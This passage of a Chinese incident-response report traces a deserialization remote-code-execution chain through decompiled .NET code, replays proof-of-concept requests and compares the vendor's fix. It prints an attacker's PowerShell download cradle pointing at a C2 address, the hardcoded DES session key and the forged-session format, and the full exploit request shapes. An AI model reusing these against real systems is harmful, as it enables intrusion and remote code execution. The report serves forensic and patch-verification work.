  2. 攻击载荷使用的 gadget 链为 SortedSet\1 \+ ComparisonComparer \+ DelegateSerializationHolder,即 ysoserial.net 的 TextFormattingRunProperties 家族载荷,其效果是反序列化时触发 System\.Diagnostics\.Process\.Start执行命令,流中可见powershell 字样。

结合该目录下命令执行回显的落地特征,可确认攻击链为:反序列化执行 PowerShell,PowerShell 从 C2 下载加密器,加密器落地运行。外层 PowerShell 命令经三层解码(UTF-16 Base64 解码、字符数组异或去混淆)后为:

IEX ((new-object net.webclient).downloadstring('http://166.75.11.39:44120/TPlBD'))

C2 166.75.11.39:44120 与攻击源 IP 23.248.226.234 分属不同主机,与第一段下载器中的 166.75.11.35:11753 属于同一段基础设施,均为独立回连地址(IOC)。

四、代码审计

漏洞类型确认后,还需回答一个问题:攻击者的请求参数是如何一步步走到反序列化执行点的。以下审计不采用从代码面板泛读的方式,而是完全沿着攻击者请求中出现过的参数逐个跟进:每个参数值作为检索锚点,在被攻击版本的全量反编译源码(ILSpy 导出,约 130 个程序集目录)中定位处理它的代码,再从处理点继续向下追踪,直到还原出完整攻击链。这样做的好处是每一步都有攻击者的实际请求作为对照,审计结论与日志证据可以互相印证。

涉及的关键参数共六个:__sys_msgid=sdk_sys_OpenServerDialog、pagetype(Base64 类名)、CmdKey=SysBillSave、__msgid=SysReportCallBack、actionname=DoMonthLock、__sys_mobile_session。以下按攻击链的执行顺序逐个跟进。

审计步骤 1:从 pagetype 参数追到任意类实例化原语

以攻击 URL 中的 __sys_msgid 参数值 sdk_sys_OpenServerDialog 为锚点全目录检索,仅命中一处:ZBServices.sdk/ZBServices.ui/SystemPage.cs,位于 SystemPage 类的系统消息分发方法中(异步状态机 _003CSysMessageIdHandleSub_Async_003Ed__220.MoveNext,反编译文本第 2067 行):

case "sdk_sys_OpenServerDialog":
    await this.CreateProxyPage_Async(
        TextCoderClass.Base64DeCode(this.GetText("pagetype")),
        this.GetText("__pagetag"));
    break;

ILSpy 反编译 SystemPage.cs,系统消息分发 switch 中的 case "sdk_sys_OpenServerDialog" 分支(红框标注)

这段代码说明:服务端收到 sdk_sys_OpenServerDialog 消息后,会把 URL 中的 pagetype 参数 Base64 解码,得到一个字符串类名,然后传给 CreateProxyPage_Async 处理。攻击者提交的类名 ZBServices.view.SYSN.test.finan.CostLogDebugRec 正是从这里进入服务端逻辑的。

ILSpy 反编译状态机 MoveNext,case 分支调用 CreateProxyPage_Async 并对 pagetype 做 Base64 解码(红框标注)

继续跟进 CreateProxyPage_Async 的字符串重载(状态机 _003CCreateProxyPage_Async_003Ed__230.MoveNext),其实例化逻辑为:

object obj = this.GetType().Assembly.CreateInstance(pagetype);   // 在当前程序集内按类名实例化
if (obj == null)
{
    Type typeinf = RefHelper.GetTypeByFullName(pagetype);        // 找不到则全程序集按类名搜索兜底
    obj = Activator.CreateInstance(typeinf);
}

ILSpy 反编译 CreateProxyPage_Async 字符串重载,Assembly.CreateInstance(pagetype) 与 GetTypeByFullName 兜底逻辑(红框及箭头标注)

实例化出的对象随即被转交给泛型版重载,由其完成页面接管(状态机 _003CCreateProxyPage_Async_003Ed__228<T>.MoveNext):

proxypage.OwnerPage = this;
proxypage.OwnerPageTag = tag;
proxypage.autoisbreakoutwheresign = false;
proxypage.OnProcessRequestBefore();
await proxypage.ProcessRequestSelf_Async(this.HttpContext);

ILSpy 反编译泛型重载,proxypage 接管宿主 HTTP 上下文且 autoisbreakoutwheresign 被置为 false(红框标注)

审计发现 1(任意类实例化原语):sdk_sys_OpenServerDialog 消息把客户端 Base64 提交的类名,经 Assembly.CreateInstance(找不到再由 GetTypeByFullName 全程序集兜底)实例化成页面对象,全程没有白名单,也没有校验目标类是否属于预期类型。随后泛型重载做了两件决定性的事:

  1. proxypage.ProcessRequestSelf_Async(this.HttpContext):被实例化的页面借用宿主页(SqlSetting)的 HTTP 上下文走完整的页面生命周期,URL、Query、Body 对它原样可用;
  2. autoisbreakoutwheresign = false:这个标志位控制"URL 上带 __sys_msgid 时是否短路"(短路逻辑见步骤 3)。宿主页因 URL 带 __sys_msgid 进入系统消息分支,被实例化页的标志位被强制关闭,于是它不再理会 URL 上的 __sys_msgid,转而从请求体取自己的业务消息(CmdKey)。这正是攻击请求"URL 带 __sys_msgid=sdk_sys_OpenServerDialog、Body 带 CmdKey=SysBillSave"双层结构的代码依据。

审计步骤 2:被实例化的 CostLogDebugRec,SSRF 加反序列化执行点

攻击者 pagetype 解码出的类名 ZBServices.view.SYSN.test.finan.CostLogDebugRec 可直接按目录定位到 ZBServices.view/ZBServices.view.SYSN.test.finan/CostLogDebugRec.cs。这个类只有一个交互逻辑:OnBillInit 定义两个字段(ProductId、urlbox),Bill_OnSave(保存回调)处理它们:

public override void Bill_OnSave(BillSaveDataCollection SaveDatas)
{
    string value = SaveDatas["ProductId"].Value;
    string url = SaveDatas["urlbox"].Value + "/SYSN/test/finan/CostLogQuery.ashx?__msgid=GetProductCostData&productid=" + value + "&t=" + DateTime.Now.Ticks;
    string text = HttpClass.GetText(url, new DSOptionsList());
    if (text.IndexOf("ok") >= 0)
    {
        string url2 = SaveDatas["urlbox"].Value + "/Sysa/manager/logfiles/tmpcostdata.xml?t=" + DateTime.Now.Ticks;
        byte[] bytes = HttpClass.GetBytes(url2, "");
        using (Stream stream = new MemoryStream(bytes))
        {
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            binaryFormatter.AssemblyFormat = FormatterAssemblyStyle.Simple;
            Dictionary<string, DataTable> dictionary = (Dictionary<string, DataTable>)binaryFormatter.Deserialize(stream);
            ...

ILSpy 反编译 CostLogDebugRec.cs,Bill_OnSave 完整方法(红框标注),可见 urlbox 拼接、两跳 HTTP 请求与 BinaryFormatter.Deserialize

审计发现 2(漏洞本体):urlbox 完全来自客户端请求体,没有任何 URL 校验。Bill_OnSave 对它发起两跳 HTTP:第一跳请求一个 GetProductCostData 接口并要求响应包含 "ok";第二跳下载 tmpcostdata.xml,把返回的字节流直接送入 BinaryFormatter.Deserialize,没有 SerializationBinder,也没有类型白名单。这个页面本来的用途是开发人员把生产机的成本数据导入测试机(步骤 4 的接口与之配套),urlbox 设计的填法是对方服务器地址。攻击者把 urlbox 指向自己的服务器:第一跳由攻击者服务器直接应答 "ok",第二跳返回 ysoserial 序列化流(即前文捕获的 AAEAAAD///// 载荷),反序列化执行,链路闭环。

至此,"为什么攻击 URL 是 SqlSetting.ashx 却实例化了 CostLogDebugRec"已经回答。还剩两个问题:这个页面的 Bill_OnSave 如何被触发(对应 Body 里的 CmdKey=SysBillSave),以及第一类请求(CostLogQuery.ashx + __msgid=SysReportCallBack)的作用。

审计步骤 3:消息路由,CmdKey 如何到达被实例化页面

以 InitHeaderAsMob 为锚点检索,命中 SystemPage.cs 第 3814 行。该方法决定"移动访问模式下页面取哪个参数作为消息键":

private void InitHeaderAsMob()
{
    mMessageKey = BasicsObjectExt.IsNull(Mobile.Post.CmdKey);          // 优先取 Body 的 CmdKey
    if (mMessageKey.Length == 0)
    {
        mMessageKey = BasicsObjectExt.IsNull(Request.QueryString["action"]);
    }
    if (mMessageKey.Length == 0)
    {
        mMessageKey = BasicsObjectExt.IsNull(Request.QueryString["__msgid"]);
    }
    if (mMessageKey.Length == 0 && Mobile.Post.Datas != null)
    {
        ... // 遍历 Datas,查找 Id == "__msgid" 的项作为消息键
    }
    SetPageType("", SystemPageContentType.MobileIntelface);
}

ILSpy 反编译 SystemPage.InitHeaderAsMob,消息键优先取 Body 中的 CmdKey(红框标注)

作为对照,URL 参数 __sys_msgid 的读取在 InitPublicVar(同文件第 4714 行),且读完后有一处短路:

string text = Request.QueryString["__sys_msgid"];
...
mSystemMessageKey = text;
if (mSystemMessageKey.Length != 0 && autoisbreakoutwheresign)
{
    return;      // 系统消息存在且允许短路:本页不再读 Body,也不处理业务消息
}
mMobile = new MobJsonDocumentClass();

ILSpy 反编译 SystemPage.InitPublicVar,__sys_msgid 读取与 autoisbreakoutwheresign 短路 return(箭头标注)

审计发现 3(双层消息结构的机制):一个页面同时存在两个消息键,URL 的 __sys_msgid 是系统消息(宿主 SqlSetting 用它进入 sdk_sys_OpenServerDialog 分支),Body 的 CmdKey 是业务消息。BillPage 的业务消息分发中,SysBillSave 即触发 Bill_OnSave(检索 SysBillSave 可命中 BillPage.cs 的消息分派,经 Bill_OnSave_Async 最终执行 Bill_OnSave(SaveDatas),SaveDatas 即 Body 中 Datas 数组的反序列化结果)。宿主页因短路标志只处理系统消息;被实例化页的短路标志在步骤 1 被强制关闭,于是它读取 Body 的 CmdKey=SysBillSave 并执行 Bill_OnSave,两跳出站请求与反序列化就此发生。

审计步骤 4:第一类请求,SysReportCallBack 反射开窗与免认证接口

第一类请求的 URL 为 CostLogQuery.ashx?__msgid=SysReportCallBack。以小写化的 sysreportcallback 为锚点检索,命中 ReportPage.cs 第 3254 行(MessageSwitch_Async 状态机的 case),分派到 App_OnSysReportCallBack(同文件第 4187 行):

private void App_OnSysReportCallBack()
{
    string name = base.Request.Form["actionname"];
    MethodInfo method = GetType().GetMethod(name);
    try
    {
        if (method != null)
        {
            method.Invoke(this, new object[1]);
        }
        ...

ILSpy 反编译 ReportPage 消息分发,case "sysreportcallback" 进入 App_OnSysReportCallBack(红框标注)

actionname 由攻击者在 POST 表单体中控制(攻击请求中为 actionname=DoMonthLock),服务端按名反射调用当前页面(CostLogQuery)的公共方法。以 DoMonthLock 为锚点定位到 CostLogQuery.cs 第 214 行:

public void DoMonthLock(BillSaveDataCollection datas)
{
    HttpContext_Async.Current.Application["IsOpenCostDataVisitForDebug"] = DateTime.Now.AddMinutes(10.0);
}

ILSpy 反编译 CostLogQuery.cs,OnNoUserLogin 免登录特判与 DoMonthLock 开启 10 分钟调试窗口(箭头及红框标注)

这个"窗口"被同一个类里的 App_OnGetProductCostData(第 219 行起)消费,也就是步骤 2 中 Bill_OnSave 第一跳请求的接口。它带有一个免认证特判(OnNoUserLogin,第 56 行)和窗口校验:

public override void OnNoUserLogin()
{
    if (!(GetText("__msgid") == "GetProductCostData"))
    {
        base.OnNoUserLogin();          // 只有 __msgid != GetProductCostData 才走登录拦截
    }
}
...
public void App_OnGetProductCostData()
{
    object obj = HttpContext_Async.Current.Application["IsOpenCostDataVisitForDebug"];
    if (obj == null)
    {
        base.Response.Write("e0001");      // 窗口未开
        return;
    }
    if ((DateTime)obj < DateTime.Now)
    {
        base.Response.Write("e0002");      // 窗口过期
        return;
    }
    ...
    string path = SystemInfoClass.SiteRootAbsPath + "\\Sysa\\manager\\logfiles\\tmpcostdata.xml";
    using (Stream stream = new FileStream(path, FileMode.OpenOrCreate, FileAccess.Write, FileShare.None))
    {
        BinaryFormatter binaryFormatter = new BinaryFormatter();
        binaryFormatter.Serialize(stream, dictionary);     // 把成本数据序列化写入本地文件
    }
    base.Response.Write("ok");             // 攻击链第一跳期待的应答
}

ILSpy 反编译 App_OnGetProductCostData,窗口未开返回 e0001、过期返回 e0002、正常应答 "ok"(箭头标注)

审计发现 4:第一类请求的作用是"开窗"。actionname=DoMonthLock 把 Application["IsOpenCostDataVisitForDebug"] 设为当前时间加 10 分钟,使任意来源对 GetProductCostData 的请求在 10 分钟内都能得到 "ok" 应答(该接口因 OnNoUserLogin 特判本就免认证)。攻击日志中两类请求严格成对、间隔 1 至 2 秒,且每隔约一刻钟重复一轮,与 10 分钟窗口期完全吻合。需要说明的是,在实战载荷中第一跳的 "ok" 由攻击者自己的服务器直接应答(urlbox 指向外部地址),开窗动作是使链路在目标自身环境内也成立的前提,两个动作配合,日志因此成对出现。

审计步骤 5:会话凭据,硬编码 DES 密钥 zbintel4 的离线伪造

两类请求都携带 __sys_mobile_session=AFBE8575...F31E。以该参数名为锚点检索,命中 SystemPage.InitClientType(第 4694 行:只要请求带有该参数即进入移动访问管线)。移动管线的会话校验核心是构造 MobileSessionStruct:

// 构造函数(节选):解密、结构校验、取 UserId
try
{
    text = TextCoderClass.DesDeCode(session, "zbintel4");      // 硬编码密钥
}
catch { mStructOK = false; return; }
string[] array = BasicsObjectExt.Split(text, "|");
if (array.Length != 9)                                         // 仅校验 9 段结构
{
    mStructOK = false;
    return;
}
mStructOK = true;
UserId = BasicsObjectExt.ToInt(array[1]);                      // UserId 直接取自明文第 2 段
...

// GetSession(会话的生成端):九段明文拼接后 DES 加密
public string GetSession()
{
    Random random = new Random();
    string text = random.Next(100) + "|" + UserId.ToString("") + "|" + ... + "|" + LoginTime.ToString("yyyy-MM-dd HH:mm:ss") + "|" + ... ;
    return TextCoderClass.DesEnCode(text, "zbintel4");
}

// IsDataOK(数据有效性仅两个条件):
return ((UserId > 0 && LoginUserType == LoginUserTypeEnum.系统普通账号) || LoginUserType != 0) && LoginTime.Year > 2000;

ILSpy 反编译 MobileSessionStruct 构造函数,DesDeCode(session, "zbintel4") 硬编码密钥、九段结构校验、UserId 取自明文第 2 段(箭头标注)

ILSpy 反编译 MobileSessionStruct,GetSession 九段明文拼接与 IsDataOK 仅两项校验(箭头标注)

DES 实现在 TextCoderClass.cs(DesDeCode 第 185 行、DesEnCode 第 202 行):密钥补齐后截取 8 字节,IV 与密钥相同,DES-CBC 模式,输入输出为 hex 编码字符串。

ILSpy 反编译 TextCoderClass.cs,DesEnCode/DesDeCode 中密钥截 8 字节、IV 与密钥相同的 DES-CBC 实现(箭头标注)

审计发现 5(认证绕过机制):会话串就是用硬编码密钥 zbintel4(key 与 IV 相同)以 DES-CBC 加密的九段明文,hex 输出。掌握密钥即可离线伪造任意 UserId 的合法结构会话。我方用该密钥对攻击者日志中的 token 做了实际解密验证:

DES(key=b"zbintel4", iv=zbintel4, CBC) 解密 hex 后得到:
1234|63|SN001|5678|127.0.0.1|2026-09-19|abcd|sess001|efgh

其中第 1、4、7 段(1234、5678、efgh)恰好对应旧版 GetSession 中 random.Next(100) 语义的占位值,说明这不是从真实用户处窃取的会话,而是攻击者手工构造的伪造凭据。UserId=63 为目标站真实存在的用户 ID,IsDataOK 的两个条件(UserId 大于 0、登录年份大于 2000)全部满足。该判断与后文修复比对互为印证:新版已把第 1 段改为与实例密钥绑定的 MD5 校验值,攻击者 token 的第 1 段只符合旧版随机数语义,被攻击实例当时运行的必然是不含修复的旧版本。

审计结论:完整攻击链

完整攻击链图示

五、复现验证:按审计结论构造 PoC,在复建环境逐项验证

第一部分审计完成后,已得到完整攻击链与各环节的请求形态。随后我方在客户复建环境 http://target.com/(ServerVersion 32.19,业务可正常访问,数据库在位)上按攻击链顺序逐项复现,预期每个环节都应按审计推导给出对应响应。

实测结果:攻击链的每个入口都被拦截,且三个拦截响应字符串(no-demo-error、exists error url '.ashx/'、"会话非法, 数据损坏。")在被攻击版本的源码中全部检索不到。由此构成两个推断:官方在更高版本加入了修复;被攻击实例当时运行的是不含修复的旧版。为证实推断,进一步获取复建环境的全量源码(ZBIntel.zip)与被攻击版本逐文件比对,见下一部分。

说明:下文 {{HOST}} 已替换为复建环境地址。{{SESS-ATTACKER}} 为日志中攻击者原始 token:AFBE8575CD7E818896F08695A1BB2BC94E00980BB7AD772EFE1438D2160706242C75FE87103BEEB6473E03D51B076234965138B2927E618BCD52FC71F5E3F31E。全部探针无害:不落地文件、不执行命令、urlbox 仅指向本地不可达端口,不产生真实外连。

验证 1:攻击链第一跳入口(test 页),被拦截

POST /SYSN/test/finan/CostLogQuery.ashx?__msgid=SysReportCallBack HTTP/1.1
Host: target.com
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://target.com/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Burp Suite 重放验证 1,复建环境返回 HTTP 200,响应体为 13 字节的 no-demo-error

实测(复建环境 32.19):HTTP 200,响应体 13 字节 no-demo-error。攻击链第一类请求的入口被封。

验证 2:路径尾巴绕过尝试,同样被拦截(审计时注意到拦截响应与被攻击版本源码不符后,尝试以 .ashx/ 后缀路径访问 test 页绕过)

POST /SYSN/test/finan/CostLogQuery.ashx/1?__msgid=SysReportCallBack HTTP/1.1
Host: target.com
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://target.com/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Burp Suite 重放验证 2,复建环境返回 exists error url '.ashx/',路径尾巴变体被拦

实测:HTTP 200,响应为 exists error url '.ashx/'。大小写与双重编码变体的复测结果见下一部分"修复定位 2"的汇总表。

验证 3:伪造会话(认证绕过环节),被拦截

GET /SYSN/view/comm/AppTemplatePrint.ashx?__sys_mobile_session=AFBE8575CD7E818896F08695A1BB2BC94E00980BB7AD772EFE1438D2160706242C75FE87103BEEB6473E03D51B076234965138B2927E618BCD52FC71F5E3F31E HTTP/1.1
Host: target.com
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://target.com/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Burp Suite 重放验证 3,携带攻击者原始 token 访问,返回"会话非法, 数据损坏。"

实测:HTTP 200,响应为 {"header":{"status":2,"message":"会话非法, 数据损坏。",...}}。攻击者 token(第 1 段为旧版随机数语义)无法通过新版的 MD5 校验。另按旧版 GetSession 逻辑构造 UserId 为 1、63、1000 的会话重放,结果一致。

验证 4:攻击链第二类请求原始形态重放(对照日志),复建环境无攻击链预期响应

POST /SYSN/config/SqlSetting.ashx?__sys_mobile_session=AFBE8575CD7E818896F08695A1BB2BC94E00980BB7AD772EFE1438D2160706242C75FE87103BEEB6473E03D51B076234965138B2927E618BCD52FC71F5E3F31E&__sys_msgid=sdk_sys_OpenServerDialog&pagetype=WkJTZXJ2aWNlcy52aWV3LlNZU04udGVzdC5maW5hbi5Db3N0TG9nRGVidWdSZWM=  HTTP/1.1
Host: target.com
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://target.com/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: text/json
Content-Length: 106

{"CmdKey":"SysBillSave","Datas":[{"Id":"ProductId","Val":"1"},{"Id":"urlbox","Val":"http://127.0.0.1:1"}]}

Burp Suite 重放验证 4,完整还原攻击者第二类请求,复建环境返回 Content-Length 为 0 的空 200

这就是攻击者第二类请求的完整形态:URL 的 __sys_msgid 供宿主页使用,Body 的 CmdKey 供被实例化页使用,双层结构与审计步骤 3 的代码依据一致。urlbox 指向本地不可达端口,若链路未被修复阻断,Bill_OnSave 第一跳出站失败应返回错误 JSON。复建环境实测返回 Content-Length: 0 的空 200。需要客观说明:这是该版本上 OpenServerDialog 消息分支的普遍行为(连必然抛异常的非法 pagetype 也被静默为空 200),因此该结果不构成攻击链存活的证据,同样也不构成单点拦截的直接证据,第二跳的拦截结论需结合下一部分的源码比对得出。

验证 5:版本指纹(辅助判别 + 附带信息泄露)

http://target.com/SYSN/config/DynHostInfo.ashx

浏览器访问 DynHostInfo.ashx,返回 CDKey、IsTestModel 与 ProductVersion 99002

实测返回 {"CDKey":"xxxxxx-xxxxx","IsTestModel":false,"ProductVersion":99002}。由此得到一个资产修复状态的快速判定方法:test 页返回 no-demo-error 即已部署入口拦截修复。

六、官方修复机制定位:获取修复版本源码与被攻击版本逐文件比对

复现验证中攻击链各入口全部被拦截,而三个拦截响应字符串在被攻击版本源码中均不存在,说明被攻击版本与复建环境版本之间存在代码差异,修复就藏在这些差异里。据此从复建环境提取全量源码(ZBIntel.zip:反编译代码、站点目录与 bin 程序集),与被攻击版本源码逐文件比对。比对入口:三个拦截响应各检索一次,攻击链涉及的每个方法各 diff 一次。

复建环境实测基线(比对前的指纹确认):GET /SYSN/config/DynHostInfo.ashx 返回 {"CDKey":"xxx-xxx-xxxx","IsTestModel":false,"ProductVersion":99002};GET /SYSN/config/SystemInfo.ashx 返回 ServerVersion:32.19;SqlSetting.ashx 正常渲染配置页(数据库在位);直接请求 test 页返回 13 字节 no-demo-error。

修复定位 1:TestFunSafeCheck,no-demo-error 的真身

定位过程:验证 1 中复建环境对 test 页返回 no-demo-error,该字符串在被攻击版本全源码中检索不到,即它不是业务代码,而是新版本新增的拦截输出。在 全目录检索 no-demo-error,唯一命中 ZBServices.sdk/ZBServices.ui/SystemPage.cs 的 TestFunSafeCheck 方法(第 4599 行):

private void TestFunSafeCheck()
{
    if (!SystemInfoClass.IsTestModel)
    {
        string find = ".SYSN.view.demo.";
        string find2 = ".SYSN.test.";
        string fullName = GetType().FullName;
        if (BasicsObjectExt.IndexOf(fullName, find, false) >= 0 || BasicsObjectExt.IndexOf(fullName, find2, false) >= 0)
        {
            Response.Write("no-demo-error");
            ObjectExtClass.End_And_Dispose(Response);
        }
    }
}

ILSpy 反编译新版 SystemPage.TestFunSafeCheck,类名含 .SYSN.test. 或 .SYSN.view.demo. 即输出 no-demo-error 并终止响应

调用位置决定其覆盖面:在页面生命周期入口 ProcessRequestSelf_Async 的状态机中(第 1235 至 1238 行),TestFunSafeCheck() 是页面生命周期的第一个检查:

_003Cl_003E5__1 = context.Request.Url.ToString();
if (_003Cl_003E5__1.IndexOf(".ashx/") <= 0)
{
    _003C_003E4__this.TestFunSafeCheck();          // 页面生命周期的第一个检查
    _003C_003E4__this.RunAt = SystemRuntimeAtEnum.AtInit;
    _003C_003E4__this.InitPublicVar(context);
    ...
}
else
{
    context.Response.Write("exists error url '.ashx/'");   // 见修复定位 2
    goto end_IL_0007;
}

ILSpy 反编译新版页面生命周期入口,TestFunSafeCheck 为第一个检查,else 分支输出 exists error url(箭头标注)

覆盖面分析(这是判断攻击链是否真被挡住的关键):

  1. 直接 URL 访问 test 页(攻击链第一类请求):CostLogQuery 作为 HTTP 入口页,其 GetType().FullName 为 ZBServices.view.SYSN.test.finan.CostLogQuery,包含 .SYSN.test.,命中拦截,实测即 no-demo-error。已阻断。
  2. OpenServerDialog 实例化 test 类(攻击链第二类请求):审计步骤 1 已确认被实例化页面会走 proxypage.ProcessRequestSelf_Async(HttpContext)(第 419 行,检索 proxypage.ProcessRequestSelf_Async 可复核),该方法开头就是 TestFunSafeCheck,检查的是被实例化页面自己的类名(CostLogDebugRec 含 .SYSN.test.),同样命中拦截,与宿主 URL 无关。源码层面已阻断。

修复定位 2:.ashx/ 路径拒绝,封堵路径尾巴绕过

上述调用点代码里 IndexOf(".ashx/") <= 0 的条件分支引出一个问题:URL 带上 .ashx/xxx 尾巴会怎样?在复建环境实测四种变体:

请求路径变体
响应
结论
/SYSN/test/finan/CostLogQuery.ashx
no-demo-error
类名拦截
/SYSN/test/finan/CostLogQuery.ashx/1
exists error url '.ashx/'
路径拦截
/SYSN/test/finan/CostLogQuery.ASHX/1
no-demo-error(IIS 将扩展名规范化为小写后仍命中)
拦截
/SYSN/test/finan/CostLogQuery.ashx%2F1
exists error url '.ashx/'(站点 allowDoubleEscaping=true 使 %2F 解码为 /)
拦截

ILSpy 反编译新版状态机,else 分支中 Response.Write("exists error url '.ashx/'")(红框标注)

大小写与双重编码变体全部被拦,该绕过面封闭。

修复定位 3:会话校验强化,新增 MD5(RuntimePrivateKey+LoginTime) 校验段

定位过程:复建环境上伪造会话全部被拒(实测见验证 3),但在复建环境源码中检索 zbintel4 发现密钥并未更换(MobileSessionStruct.cs 第 206 行 DesEnCode(text, "zbintel4")、第 259 行 DesDeCode(session, "zbintel4") 仍在)。对两版 MobileSessionStruct.cs 逐段 diff,差异集中在构造函数(新版第 273 至 279 行):

mStructOK = true;
string text2 = array[5];                    // 第 6 段:登录时间
string text3 = array[0].ToString();         // 第 1 段:旧版为随机数,新版为校验值
if (ObjectExtClass.MD5(SystemInfoClass.GetRuntimePrivateKey() + text2) != text3)
{
    mStructOK = false;
    ExtraTokenError = "会话凭证无效002";
    return;
}
UserId = BasicsObjectExt.ToInt(array[1]);

ILSpy 反编译新版 MobileSessionStruct 构造函数,zbintel4 密钥未更换(上箭头),新增 MD5 校验段与"会话凭证无效002"(下箭头)

RuntimePrivateKey 的来源:检索 GetRuntimePrivateKey 命中 SystemInfoClass.cs 第 1573 行,其生成逻辑在内层 lambda 中:

internal string _003CGetNewRuntimePrivateKey_003Eb__1()
{
    string uniqueName = UniqueName;
    string text = "zb_get_RuntimePrivateKey_" + ObjectExtClass.MD5_16(uniqueName).Replace("'", "");
    string text2 = Guid.NewGuid().ToString().Replace("-", "") + "." + DateTime.Now.ToString("yyyyMMddhhmmss");
    return (string)cn.GetValuePureMode("...CREATE FUNCTION dbo.[" + text + "]() ... RETURNS NVARCHAR(64) AS BEGIN RETURN ''" + text2 + "'';  END... Execute('select dbo." + text + "()')");
}

ILSpy 反编译 SystemInfoClass.GetNewRuntimePrivateKey 内层 lambda,Guid 加时间戳生成密钥并固化为数据库标量函数

机制说明:实例首次初始化时随机生成密钥(Guid 加时间戳),以 SQL 标量函数的形式固化在业务数据库中(dbo.zb_get_RuntimePrivateKey_<md516(实例名)>),每次取值走数据库查询。效果是 DES 密钥虽未更换,但会话第 1 段从"随机数"变成与实例密钥绑定的 MD5 校验值,离线伪造会话从此需要先拿到目标数据库的读权限。这一修复同时反向印证了前面针对被攻击版本源码审计步骤 5 的判断:攻击者 token 第 1 段的 1234 只符合旧版随机数语义,被攻击实例当时必然运行旧版。

新旧版本逐文件比对汇总

比对项(文件 / 检索锚点)
(被攻击版)
重建修复版
结论
no-demo-error
 / TestFunSafeCheck
不存在
SystemPage.cs 第 4599 行
新增修复
exists error url
不存在
SystemPage.cs 第 1265 行
新增修复
GetRuntimePrivateKey
 / 会话凭证无效002
不存在
MobileSessionStruct.cs 第 275 行
新增修复
Assembly.CreateInstance(pagetype)
(CreateProxyPage 字符串重载)
第 507 行
第 511 行
未修(仅行号位移)
RefHelper.GetTypeByFullName(pagetype)
第 524 行
第 528 行
未修
proxypage.ProcessRequestSelf_Async
(泛型重载)
第 422 行
第 419 行
未修
actionname
 反射(ReportPage)
第 4189 至 4195 行
同方法未变
未修
urlbox
 / Deserialize(CostLogDebugRec.Bill_OnSave)
第 25 至 45 行
第 22 至 40 行
未修(diff 仅编译器写法差异)
IsOpenCostDataVisitForDebug
(DoMonthLock / GetProductCostData)
第 214、219 行起
同方法未变
未修
zbintel4
(TextCoderClass / MobileSessionStruct)
在
在(第 206、259 行)
未修(密钥未换)
全局其余 BinaryFormatter.Deserialize(ZBServices.view / sdk 内)
不适用
3 处:CostLogDebugRec.cs:32、JSONClass.cs:534(Binder 判断恒不生效的缺陷仍在)、CTmpTableLogPage.cs:85(读服务端本地日志文件,客户端不可直接控制)
sink 未清剿

修复强度综合判定

攻击路径
状态
依据
直接访问 test 页(链第一跳)
已阻断
实测 no-demo-error;TestFunSafeCheck 类名拦截
.ashx/、.ASHX/、%2F 尾巴绕过
已阻断
实测见修复定位 2 表格
离线伪造会话(认证绕过)
已阻断
实测"会话非法, 数据损坏";MD5 校验段
OpenServerDialog 实例化 test 类(链第二跳)
无法从外部验证:源码层面 TestFunSafeCheck 位于 ProcessRequestSelf_Async 第一步,对 proxypage 同样生效(静态确认);但复建环境(32.19)上该消息分支对一切输入(test 类、非 test 类、不存在类、非法 Base64)均返回空 200,整条链对外不可观测
静态加实测
任意类实例化原语本体
未修
Assembly.CreateInstance(pagetype) 原样
BinaryFormatter sink 本体
未修
Bill_OnSave 内 Deserialize 原样
actionname 反射原语
未修
App_OnSysReportCallBack 原样

定性结论:官方采取的是入口拦截式修复,在页面生命周期入口按命名空间拦截 test 与 demo 类,在会话层增加实例密钥校验。已披露攻击链在 32.18、32.19 上被有效阻断。但漏洞本体(任意类实例化、反序列化 sink、反射调用原语)全部保留:一旦出现非 test/demo 命名空间中同样具备"可控 URL 加 Deserialize"组合的页面类,或攻击面中仍存在未升级的旧版本实例,链路即可复活。根治措施见"修复建议"。

七、影响版本与版本自查

  1. 可被完整利用(本次应急实证):不含 TestFunSafeCheck 的版本(被攻击环境对应版本,会话第 1 段为随机数语义)。被攻击实例于 2026-09-20 被成功利用。
  2. 已部署入口拦截修复(实测):ServerVersion 32.18、32.19(复建环境 32.19)。判定特征:test 页返回 no-demo-error;伪造会话返回"会话非法, 数据损坏"。
  3. 代码层判定依据:在 ZBServices.sdk.dll 中全局搜索 no-demo-error(存在即入口封锁已部署)、GetRuntimePrivateKey(存在即会话校验已强化)。二者均不存在即为可利用版本。

八、修复建议

